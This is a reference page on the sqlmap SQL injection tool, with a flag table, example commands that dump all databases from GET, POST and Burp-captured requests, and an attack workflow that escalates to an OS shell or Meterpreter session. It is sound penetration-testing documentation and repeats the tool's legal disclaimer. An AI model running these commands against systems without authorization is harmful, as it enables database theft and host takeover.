sqlmap

sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities. It supports a wide range of database management systems (MySQL, PostgreSQL, Oracle, MSSQL, SQLite, and others) and can enumerate databases, extract data, and even take over the underlying operating system. The project is hosted at sqlmap.org and maintained on GitHub.

sqlmap is banned in OSCP exams because its automation makes exploitation trivial — understanding the underlying SQL injection mechanics is considered essential.

Core flags

FlagPurpose
-u URL / --url=URLTarget URL (must include query parameters, or use --data for POST)
-p PARAMSpecific parameter(s) to test
--dbms=TYPEForce backend DBMS (MySQL, PostgreSQL, etc.) — skips fingerprinting
--dbsEnumerate databases
-D DBTarget a specific database
-T TABLETarget a specific table
-C COLUMNTarget a specific column
--dumpDump table entries
--dump-allDump all databases
--os-shellAttempt interactive OS shell (via xp_cmdshell, UDF, etc.)
--os-pwnAttempt out-of-band Meterpreter or VNC session
--formsParse target URL for forms and test automatically
--batchNever prompt — use defaults (fully unattended)
--risk LEVELMax risk of tests (1–3, default 1; higher = more aggressive payloads)
--level LEVELDepth of tests (1–5, default 1; higher = more parameters/payloads)
--technique=TECHInjection techniques: Boolean, Error, Union, Stacked, Time, Query

Examples

GET parameter injection

sqlmap -u "http://example.com/test.php?input=foo" --dump-all

POST parameter injection

sqlmap -u "http://example.com/test.php" \
       --data "input=foo" --dump-all

Seeding from Burp Suite

Export a request from Burp Suite (right-click → Save item) and replay it through sqlmap:

sqlmap -r request.txt --batch --dump-all

This preserves cookies, headers, and authentication tokens — essential for testing authenticated endpoints.

Attack workflow

  1. Fingerprint — sqlmap identifies the DBMS and injection type
  2. Enumerate--dbs-D dbname --tables-T tablename --columns
  3. Extract--dump or --dump-all
  4. Escalate (optional) — --os-shell for command execution, --os-pwn for Meterpreter

sqlmap displays a disclaimer on every run: “Usage of sqlmap for attacking targets without prior mutual consent is illegal.” Only use against systems you own or have explicit written authorization to test.

Sources

Related: sql-injection-attacks, powershell-reverse-shell, windows-reconnaissance-commands